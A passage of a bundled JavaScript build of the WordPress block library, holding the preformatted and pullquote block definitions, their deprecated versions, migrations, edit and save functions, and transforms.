40890 ]
40891 }
40892 ) })
40893 ] }),
40894 titleElement
40895 ] });
40896}
40897
40898
40899;// ./node_modules/@wordpress/block-library/build-module/post-title/deprecated.js
40900
40901const post_title_deprecated_v1 = {
40902 attributes: {
40903 textAlign: {
40904 type: "string"
40905 },
40906 level: {
40907 type: "number",
40908 default: 2
40909 },
40910 isLink: {
40911 type: "boolean",
40912 default: false
40913 },
40914 rel: {
40915 type: "string",
40916 attribute: "rel",
40917 default: ""
40918 },
40919 linkTarget: {
40920 type: "string",
40921 default: "_self"
40922 }
40923 },
40924 supports: {
40925 align: ["wide", "full"],
40926 html: false,
40927 color: {
40928 gradients: true,
40929 link: true
40930 },
40931 spacing: {
40932 margin: true
40933 },
40934 typography: {
40935 fontSize: true,
40936 lineHeight: true,
40937 __experimentalFontFamily: true,
40938 __experimentalFontWeight: true,
40939 __experimentalFontStyle: true,
40940 __experimentalTextTransform: true
40941 }
40942 },
40943 save() {
40944 return null;
40945 },
40946 migrate: migrate_font_family_default,
40947 isEligible({ style }) {
40948 return style?.typography?.fontFamily;
40949 }
40950};
40951var post_title_deprecated_deprecated_default = [post_title_deprecated_v1];
40952
40953
40954;// ./node_modules/@wordpress/block-library/build-module/post-title/index.js
40955
40956
40957
40958
40959
40960const { name: post_title_name } = post_title_block_namespaceObject;
40961const post_title_settings = {
40962 icon: title_default,
40963 edit: PostTitleEdit,
40964 deprecated: post_title_deprecated_deprecated_default
40965};
40966const post_title_init = () => initBlock({ name: post_title_name, metadata: post_title_block_namespaceObject, settings: post_title_settings });
40967
40968
40969;// ./node_modules/@wordpress/icons/build-module/library/preformatted.js
40970
40971
40972var preformatted_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12zM7 16.5h6V15H7v1.5zm4-4h6V11h-6v1.5zM9 11H7v1.5h2V11zm6 5.5h2V15h-2v1.5z" }) });
40973
40974
40975;// ./node_modules/@wordpress/block-library/build-module/preformatted/edit.js
40976
40977
40978
40979
40980function PreformattedEdit({
40981 attributes,
40982 mergeBlocks,
40983 setAttributes,
40984 onRemove,
40985 insertBlocksAfter,
40986 style
40987}) {
40988 const { content } = attributes;
40989 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({ style });
40990 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40991 external_wp_blockEditor_namespaceObject.RichText,
40992 {
40993 tagName: "pre",
40994 identifier: "content",
40995 preserveWhiteSpace: true,
40996 value: content,
40997 onChange: (nextContent) => {
40998 setAttributes({
40999 content: nextContent
41000 });
41001 },
41002 onRemove,
41003 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Preformatted text"),
41004 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write preformatted text\u2026"),
41005 onMerge: mergeBlocks,
41006 ...blockProps,
41007 __unstablePastePlainText: true,
41008 __unstableOnSplitAtDoubleLineEnd: () => insertBlocksAfter((0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)()))
41009 }
41010 );
41011}
41012
41013
41014;// ./node_modules/@wordpress/block-library/build-module/preformatted/block.json
41015const preformatted_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/preformatted","title":"Preformatted","category":"text","description":"Add text that respects your spacing and tabs, and also allows styling.","textdomain":"default","attributes":{"content":{"type":"rich-text","source":"rich-text","selector":"pre","__unstablePreserveWhiteSpace":true,"role":"content"}},"supports":{"anchor":true,"color":{"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"padding":true,"margin":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-preformatted"}');
41016;// ./node_modules/@wordpress/block-library/build-module/preformatted/save.js
41017
41018
41019function preformatted_save_save({ attributes }) {
41020 const { content } = attributes;
41021 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("pre", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: content }) });
41022}
41023
41024
41025;// ./node_modules/@wordpress/block-library/build-module/preformatted/transforms.js
41026
41027const preformatted_transforms_transforms = {
41028 from: [
41029 {
41030 type: "block",
41031 blocks: ["core/code", "core/paragraph", "core/verse"],
41032 transform: ({ content, anchor }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/preformatted", {
41033 content,
41034 anchor
41035 })
41036 },
41037 {
41038 type: "raw",
41039 isMatch: (node) => node.nodeName === "PRE" && !(node.children.length === 1 && node.firstChild.nodeName === "CODE"),
41040 schema: ({ phrasingContentSchema }) => ({
41041 pre: {
41042 children: phrasingContentSchema
41043 }
41044 })
41045 }
41046 ],
41047 to: [
41048 {
41049 type: "block",
41050 blocks: ["core/paragraph"],
41051 transform: (attributes) => (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", attributes)
41052 },
41053 {
41054 type: "block",
41055 blocks: ["core/code"],
41056 transform: (attributes) => (0,external_wp_blocks_namespaceObject.createBlock)("core/code", attributes)
41057 },
41058 {
41059 type: "block",
41060 blocks: ["core/verse"],
41061 transform: (attributes) => (0,external_wp_blocks_namespaceObject.createBlock)("core/verse", attributes)
41062 }
41063 ]
41064};
41065var preformatted_transforms_transforms_default = preformatted_transforms_transforms;
41066
41067
41068;// ./node_modules/@wordpress/block-library/build-module/preformatted/index.js
41069
41070
41071
41072
41073
41074
41075
41076const { name: preformatted_name } = preformatted_block_namespaceObject;
41077const preformatted_settings = {
41078 icon: preformatted_default,
41079 example: {
41080 attributes: {
41081 /* eslint-disable @wordpress/i18n-no-collapsible-whitespace */
41082 // translators: Sample content for the Preformatted block. Can be replaced with a more locale-adequate work.
41083 content: (0,external_wp_i18n_namespaceObject.__)(
41084 "EXT. XANADU - FAINT DAWN - 1940 (MINIATURE)\nWindow, very small in the distance, illuminated.\nAll around this is an almost totally black screen. Now, as the camera moves slowly towards the window which is almost a postage stamp in the frame, other forms appear;"
41085 )
41086 /* eslint-enable @wordpress/i18n-no-collapsible-whitespace */
41087 }
41088 },
41089 transforms: preformatted_transforms_transforms_default,
41090 edit: PreformattedEdit,
41091 save: preformatted_save_save,
41092 merge(attributes, attributesToMerge) {
41093 return {
41094 content: attributes.content + "\n\n" + attributesToMerge.content
41095 };
41096 }
41097};
41098const preformatted_init = () => initBlock({ name: preformatted_name, metadata: preformatted_block_namespaceObject, settings: preformatted_settings });
41099
41100
41101;// ./node_modules/@wordpress/icons/build-module/library/pullquote.js
41102
41103
41104var pullquote_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 8H6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2zm.5 6c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-4c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v4zM4 4v1.5h16V4H4zm0 16h16v-1.5H4V20z" }) });
41105
41106
41107;// ./node_modules/@wordpress/block-library/build-module/pullquote/shared.js
41108const SOLID_COLOR_CLASS = `is-style-solid-color`;
41109
41110
41111;// ./node_modules/@wordpress/block-library/build-module/pullquote/deprecated.js
41112
41113
41114
41115
41116
41117const pullquote_deprecated_blockAttributes = {
41118 value: {
41119 type: "string",
41120 source: "html",
41121 selector: "blockquote",
41122 multiline: "p"
41123 },
41124 citation: {
41125 type: "string",
41126 source: "html",
41127 selector: "cite",
41128 default: ""
41129 },
41130 mainColor: {
41131 type: "string"
41132 },
41133 customMainColor: {
41134 type: "string"
41135 },
41136 textColor: {
41137 type: "string"
41138 },
41139 customTextColor: {
41140 type: "string"
41141 }
41142};
41143function parseBorderColor(styleString) {
41144 if (!styleString) {
41145 return;
41146 }
41147 const matches = styleString.match(/border-color:([^;]+)[;]?/);
41148 if (matches && matches[1]) {
41149 return matches[1];
41150 }
41151}
41152function multilineToInline(value) {
41153 value = value || `<p></p>`;
41154 const padded = `</p>${value}<p>`;
41155 const values = padded.split(`</p><p>`);
41156 values.shift();
41157 values.pop();
41158 return values.join("<br>");
41159}
41160const pullquote_deprecated_v5 = {
41161 attributes: {
41162 value: {
41163 type: "string",
41164 source: "html",
41165 selector: "blockquote",
41166 multiline: "p",
41167 role: "content"
41168 },
41169 citation: {
41170 type: "string",
41171 source: "html",
41172 selector: "cite",
41173 default: "",
41174 role: "content"
41175 },
41176 textAlign: {
41177 type: "string"
41178 }
41179 },
41180 save({ attributes }) {
41181 const { textAlign, citation, value } = attributes;
41182 const shouldShowCitation = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation);
41183 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41184 "figure",
41185 {
41186 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
41187 className: dist_clsx({
41188 [`has-text-align-${textAlign}`]: textAlign
41189 })
41190 }),
41191 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("blockquote", { children: [
41192 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value, multiline: true }),
41193 shouldShowCitation && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
41194 ] })
41195 }
41196 );
41197 },
41198 migrate({ value, ...attributes }) {
41199 return {
41200 value: multilineToInline(value),
41201 ...attributes
41202 };
41203 }
41204};
41205const pullquote_deprecated_v4 = {
41206 attributes: {
41207 ...pullquote_deprecated_blockAttributes
41208 },
41209 save({ attributes }) {
41210 const {
41211 mainColor,
41212 customMainColor,
41213 customTextColor,
41214 textColor,
41215 value,
41216 citation,
41217 className
41218 } = attributes;
41219 const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
41220 let figureClasses, figureStyles;
41221 if (isSolidColorStyle) {
41222 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
41223 "background-color",
41224 mainColor
41225 );
41226 figureClasses = dist_clsx({
41227 "has-background": backgroundClass || customMainColor,
41228 [backgroundClass]: backgroundClass
41229 });
41230 figureStyles = {
41231 backgroundColor: backgroundClass ? void 0 : customMainColor
41232 };
41233 } else if (customMainColor) {
41234 figureStyles = {
41235 borderColor: customMainColor
41236 };
41237 }
41238 const blockquoteTextColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
41239 "color",
41240 textColor
41241 );
41242 const blockquoteClasses = dist_clsx({
41243 "has-text-color": textColor || customTextColor,
41244 [blockquoteTextColorClass]: blockquoteTextColorClass
41245 });
41246 const blockquoteStyles = blockquoteTextColorClass ? void 0 : { color: customTextColor };
41247 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41248 "figure",
41249 {
41250 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
41251 className: figureClasses,
41252 style: figureStyles
41253 }),
41254 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41255 "blockquote",
41256 {
41257 className: blockquoteClasses,
41258 style: blockquoteStyles,
41259 children: [
41260 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value, multiline: true }),
41261 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
41262 ]
41263 }
41264 )
41265 }
41266 );
41267 },
41268 migrate({
41269 value,
41270 className,
41271 mainColor,
41272 customMainColor,
41273 customTextColor,
41274 ...attributes
41275 }) {
41276 const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
41277 let style;
41278 if (customMainColor) {
41279 if (!isSolidColorStyle) {
41280 style = {
41281 border: {
41282 color: customMainColor
41283 }
41284 };
41285 } else {
41286 style = {
41287 color: {
41288 background: customMainColor
41289 }
41290 };
41291 }
41292 }
41293 if (customTextColor && style) {
41294 style.color = {
41295 ...style.color,
41296 text: customTextColor
41297 };
41298 }
41299 return {
41300 value: multilineToInline(value),
41301 className,
41302 backgroundColor: isSolidColorStyle ? mainColor : void 0,
41303 borderColor: isSolidColorStyle ? void 0 : mainColor,
41304 textAlign: isSolidColorStyle ? "left" : void 0,
41305 style,
41306 ...attributes
41307 };
41308 }
41309};
41310const pullquote_deprecated_v3 = {
41311 attributes: {
41312 ...pullquote_deprecated_blockAttributes,
41313 // figureStyle is an attribute that never existed.
41314 // We are using it as a way to access the styles previously applied to the figure.
41315 figureStyle: {
41316 source: "attribute",
41317 selector: "figure",
41318 attribute: "style"
41319 }
41320 },
41321 save({ attributes }) {
41322 const {
41323 mainColor,
41324 customMainColor,
41325 textColor,
41326 customTextColor,
41327 value,
41328 citation,
41329 className,
41330 figureStyle
41331 } = attributes;
41332 const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
41333 let figureClasses, figureStyles;
41334 if (isSolidColorStyle) {
41335 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
41336 "background-color",
41337 mainColor
41338 );
41339 figureClasses = dist_clsx({
41340 "has-background": backgroundClass || customMainColor,
41341 [backgroundClass]: backgroundClass
41342 });
41343 figureStyles = {
41344 backgroundColor: backgroundClass ? void 0 : customMainColor
41345 };
41346 } else if (customMainColor) {
41347 figureStyles = {
41348 borderColor: customMainColor
41349 };
41350 } else if (mainColor) {
41351 const borderColor = parseBorderColor(figureStyle);
41352 figureStyles = {
41353 borderColor
41354 };
41355 }
41356 const blockquoteTextColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
41357 "color",
41358 textColor
41359 );
41360 const blockquoteClasses = (textColor || customTextColor) && dist_clsx("has-text-color", {
41361 [blockquoteTextColorClass]: blockquoteTextColorClass
41362 });
41363 const blockquoteStyles = blockquoteTextColorClass ? void 0 : { color: customTextColor };
41364 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { className: figureClasses, style: figureStyles, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41365 "blockquote",
41366 {
41367 className: blockquoteClasses,
41368 style: blockquoteStyles,
41369 children: [
41370 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value, multiline: true }),
41371 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
41372 ]
41373 }
41374 ) });
41375 },
41376 migrate({
41377 value,
41378 className,
41379 figureStyle,
41380 mainColor,
41381 customMainColor,
41382 customTextColor,
41383 ...attributes
41384 }) {
41385 const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
41386 let style;
41387 if (customMainColor) {
41388 if (!isSolidColorStyle) {
41389 style = {
41390 border: {
41391 color: customMainColor
41392 }
41393 };
41394 } else {
41395 style = {
41396 color: {
41397 background: customMainColor
41398 }
41399 };
41400 }
41401 }
41402 if (customTextColor && style) {
41403 style.color = {
41404 ...style.color,
41405 text: customTextColor
41406 };
41407 }
41408 if (!isSolidColorStyle && mainColor && figureStyle) {
41409 const borderColor = parseBorderColor(figureStyle);
41410 if (borderColor) {
41411 return {
41412 value: multilineToInline(value),
41413 ...attributes,
41414 className,
41415 // Block supports: Set style.border.color if a deprecated block has `mainColor`, inline border CSS and is not a solid color style.
41416 style: {
41417 border: {
41418 color: borderColor
41419 }
41420 }
41421 };
41422 }
41423 }
41424 return {
41425 value: multilineToInline(value),
41426 className,
41427 backgroundColor: isSolidColorStyle ? mainColor : void 0,
41428 borderColor: isSolidColorStyle ? void 0 : mainColor,
41429 textAlign: isSolidColorStyle ? "left" : void 0,
41430 style,
41431 ...attributes
41432 };
41433 }
41434};
41435const pullquote_deprecated_v2 = {
41436 attributes: pullquote_deprecated_blockAttributes,
41437 save({ attributes }) {
41438 const {
41439 mainColor,
41440 customMainColor,
41441 textColor,
41442 customTextColor,
41443 value,
41444 citation,
41445 className
41446 } = attributes;
41447 const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
41448 let figureClass, figureStyles;
41449 if (isSolidColorStyle) {
41450 figureClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("background-color", mainColor);
41451 if (!figureClass) {
41452 figureStyles = {
41453 backgroundColor: customMainColor
41454 };
41455 }
41456 } else if (customMainColor) {
41457 figureStyles = {
41458 borderColor: customMainColor
41459 };
41460 } else if (mainColor) {
41461 const colors = (0,external_wp_data_namespaceObject.select)(external_wp_blockEditor_namespaceObject.store).getSettings().colors ?? [];
41462 const colorObject = (0,external_wp_blockEditor_namespaceObject.getColorObjectByAttributeValues)(
41463 colors,
41464 mainColor
41465 );
41466 figureStyles = {
41467 borderColor: colorObject.color
41468 };
41469 }
41470 const blockquoteTextColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
41471 "color",
41472 textColor
41473 );
41474 const blockquoteClasses = textColor || customTextColor ? dist_clsx("has-text-color", {
41475 [blockquoteTextColorClass]: blockquoteTextColorClass
41476 }) : void 0;
41477 const blockquoteStyle = blockquoteTextColorClass ? void 0 : { color: customTextColor };
41478 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { className: figureClass, style: figureStyles, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41479 "blockquote",
41480 {
41481 className: blockquoteClasses,
41482 style: blockquoteStyle,
41483 children: [
41484 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value, multiline: true }),
41485 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
41486 ]
41487 }
41488 ) });
41489 },
41490 migrate({
41491 value,
41492 className,
41493 mainColor,
41494 customMainColor,
41495 customTextColor,
41496 ...attributes
41497 }) {
41498 const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
41499 let style = {};
41500 if (customMainColor) {
41501 if (!isSolidColorStyle) {
41502 style = {
41503 border: {
41504 color: customMainColor
41505 }
41506 };
41507 } else {
41508 style = {
41509 color: {
41510 background: customMainColor
41511 }
41512 };
41513 }
41514 }
41515 if (customTextColor && style) {
41516 style.color = {
41517 ...style.color,
41518 text: customTextColor
41519 };
41520 }
41521 return {
41522 value: multilineToInline(value),
41523 className,
41524 backgroundColor: isSolidColorStyle ? mainColor : void 0,
41525 borderColor: isSolidColorStyle ? void 0 : mainColor,
41526 textAlign: isSolidColorStyle ? "left" : void 0,
41527 style,
41528 ...attributes
41529 };
41530 }
41531};
41532const pullquote_deprecated_v1 = {
41533 attributes: {
41534 ...pullquote_deprecated_blockAttributes
41535 },
41536 save({ attributes }) {
41537 const { value, citation } = attributes;
41538 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("blockquote", { children: [
41539 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value, multiline: true }),
41540 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
41541 ] });
41542 },
41543 migrate({ value, ...attributes }) {
41544 return {
41545 value: multilineToInline(value),
41546 ...attributes
41547 };
41548 }
41549};
41550const deprecated_v0 = {
41551 attributes: {
41552 ...pullquote_deprecated_blockAttributes,
41553 citation: {
41554 type: "string",
41555 source: "html",
41556 selector: "footer"
41557 },
41558 align: {
41559 type: "string",
41560 default: "none"
41561 }
41562 },
41563 save({ attributes }) {
41564 const { value, citation, align } = attributes;
41565 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("blockquote", { className: `align${align}`, children: [
41566 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value, multiline: true }),
41567 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "footer", value: citation })
41568 ] });
41569 },
41570 migrate({ value, ...attributes }) {
41571 return {
41572 value: multilineToInline(value),
41573 ...attributes
41574 };
41575 }
41576};
41577var pullquote_deprecated_deprecated_default = [pullquote_deprecated_v5, pullquote_deprecated_v4, pullquote_deprecated_v3, pullquote_deprecated_v2, pullquote_deprecated_v1, deprecated_v0];
41578
41579
41580;// ./node_modules/@wordpress/block-library/build-module/pullquote/figure.js
41581const Figure = "figure";
41582
41583
41584;// ./node_modules/@wordpress/block-library/build-module/pullquote/blockquote.js
41585const BlockQuote = "blockquote";
41586
41587
41588;// ./node_modules/@wordpress/block-library/build-module/pullquote/edit.js
41589
41590
41591
41592
41593
41594
41595
41596
41597const isWebPlatform = external_wp_element_namespaceObject.Platform.OS === "web";
41598function PullQuoteEdit({
41599 attributes,
41600 setAttributes,
41601 isSelected,
41602 insertBlocksAfter
41603}) {
41604 const { textAlign, citation, value } = attributes;
41605 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
41606 className: dist_clsx({
41607 [`has-text-align-${textAlign}`]: textAlign
41608 })
41609 });
41610 const shouldShowCitation = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) || isSelected;
41611 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
41612 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41613 external_wp_blockEditor_namespaceObject.AlignmentControl,
41614 {
41615 value: textAlign,
41616 onChange: (nextAlign) => {
41617 setAttributes({ textAlign: nextAlign });
41618 }
41619 }
41620 ) }),
41621 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Figure, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(BlockQuote, { children: [
41622 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41623 external_wp_blockEditor_namespaceObject.RichText,
41624 {
41625 identifier: "value",
41626 tagName: "p",
41627 value,
41628 onChange: (nextValue) => setAttributes({
41629 value: nextValue
41630 }),
41631 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Pullquote text"),
41632 placeholder: (
41633 // translators: placeholder text used for the quote
41634 (0,external_wp_i18n_namespaceObject.__)("Add quote")
41635 ),
41636 textAlign: "center"
41637 }
41638 ),
41639 shouldShowCitation && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41640 external_wp_blockEditor_namespaceObject.RichText,
41641 {
41642 identifier: "citation",
41643 tagName: isWebPlatform ? "cite" : void 0,
41644 style: { display: "block" },
41645 value: citation,
41646 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Pullquote citation text"),
41647 placeholder: (
41648 // translators: placeholder text used for the citation
41649 (0,external_wp_i18n_namespaceObject.__)("Add citation")
41650 ),
41651 onChange: (nextCitation) => setAttributes({
41652 citation: nextCitation
41653 }),
41654 className: "wp-block-pullquote__citation",
41655 __unstableMobileNoFocusOnMount: true,
41656 textAlign: "center",
41657 __unstableOnSplitAtEnd: () => insertBlocksAfter(
41658 (0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)())
41659 )
41660 }
41661 )
41662 ] }) })
41663 ] });
41664}
41665var pullquote_edit_edit_default = PullQuoteEdit;
41666
41667
41668;// ./node_modules/@wordpress/block-library/build-module/pullquote/block.json
41669const pullquote_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/pullquote","title":"Pullquote","category":"text","description":"Give special visual emphasis to a quote from your text.","textdomain":"default","attributes":{"value":{"type":"rich-text","source":"rich-text","selector":"p","role":"content"},"citation":{"type":"rich-text","source":"rich-text","selector":"cite","role":"content"},"textAlign":{"type":"string"}},"supports":{"anchor":true,"align":["left","right","wide","full"],"background":{"backgroundImage":true,"backgroundSize":true,"__experimentalDefaultControls":{"backgroundImage":true}},"color":{"gradients":true,"background":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"dimensions":{"minHeight":true,"__experimentalDefaultControls":{"minHeight":false}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"__experimentalStyle":{"typography":{"fontSize":"1.5em","lineHeight":"1.6"}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-pullquote-editor","style":"wp-block-pullquote"}');
41670;// ./node_modules/@wordpress/block-library/build-module/pullquote/save.js
41671
41672
41673
41674function pullquote_save_save({ attributes }) {
41675 const { textAlign, citation, value } = attributes;
41676 const shouldShowCitation = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation);
41677 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41678 "figure",
41679 {
41680 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
41681 className: dist_clsx({
41682 [`has-text-align-${textAlign}`]: textAlign
41683 })
41684 }),
41685 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("blockquote", { children: [
41686 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "p", value }),
41687 shouldShowCitation && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
41688 ] })
41689 }
41690 );
41691}
41692
41693
41694;// ./node_modules/@wordpress/block-library/build-module/pullquote/transforms.js
41695
41696
41697const pullquote_transforms_transforms = {
41698 from: [
41699 {
41700 type: "block",
41701 isMultiBlock: true,
41702 blocks: ["core/paragraph"],
41703 transform: (attributes) => {
41704 return (0,external_wp_blocks_namespaceObject.createBlock)("core/pullquote", {
41705 value: (0,external_wp_richText_namespaceObject.toHTMLString)({
41706 value: (0,external_wp_richText_namespaceObject.join)(
41707 attributes.map(
41708 ({ content }) => (0,external_wp_richText_namespaceObject.create)({ html: content })
41709 ),
41710 "\n"
41711 )
41712 }),
41713 anchor: attributes.anchor
41714 });
41715 }
41716 },
41717 {
41718 type: "block",
41719 blocks: ["core/heading"],
41720 transform: ({ content, anchor }) => {
41721 return (0,external_wp_blocks_namespaceObject.createBlock)("core/pullquote", {
41722 value: content,
41723 anchor
41724 });
41725 }
41726 }
41727 ],
41728 to: [
41729 {
41730 type: "block",
41731 blocks: ["core/paragraph"],
41732 transform: ({ value, citation }) => {
41733 const paragraphs = [];
41734 if (value) {
41735 paragraphs.push(
41736 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
41737 content: value
41738 })
41739 );
41740 }
41741 if (citation) {
41742 paragraphs.push(
41743 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
41744 content: citation
41745 })
41746 );
41747 }
41748 if (paragraphs.length === 0) {
41749 return (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
41750 content: ""
41751 });
41752 }
41753 return paragraphs;
41754 }
41755 },
41756 {
41757 type: "block",
41758 blocks: ["core/heading"],
41759 transform: ({ value, citation }) => {
41760 if (!value) {
41761 return (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
41762 content: citation
41763 });
41764 }
41765 const headingBlock = (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
41766 content: value
41767 });
41768 if (!citation) {
41769 return headingBlock;
41770 }
